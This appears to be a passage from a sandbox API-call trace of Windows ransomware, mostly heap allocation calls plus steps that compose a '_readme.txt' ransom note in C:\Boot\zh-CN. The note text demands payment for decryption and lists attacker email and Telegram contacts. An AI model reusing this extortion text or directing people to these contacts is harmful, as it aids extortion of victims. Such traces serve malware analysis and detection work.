(HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.664] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.664] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.665] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.665] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.666] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.666] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e9368 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.667] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.667] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.668] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.668] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0124.668] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.668] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.668] PathFindFileNameW (pszPath="") returned="" [0124.668] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.668] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.668] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.668] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.668] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.668] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0124.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.669] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 0 [0124.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.669] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.669] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.669] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\_readme.txt" (normalized: "c:\\boot\\zh-cn\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.669] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.669] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.669] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.669] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.670] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.670] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.670] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.670] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.670] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.670] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d78 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.671] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.671] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: 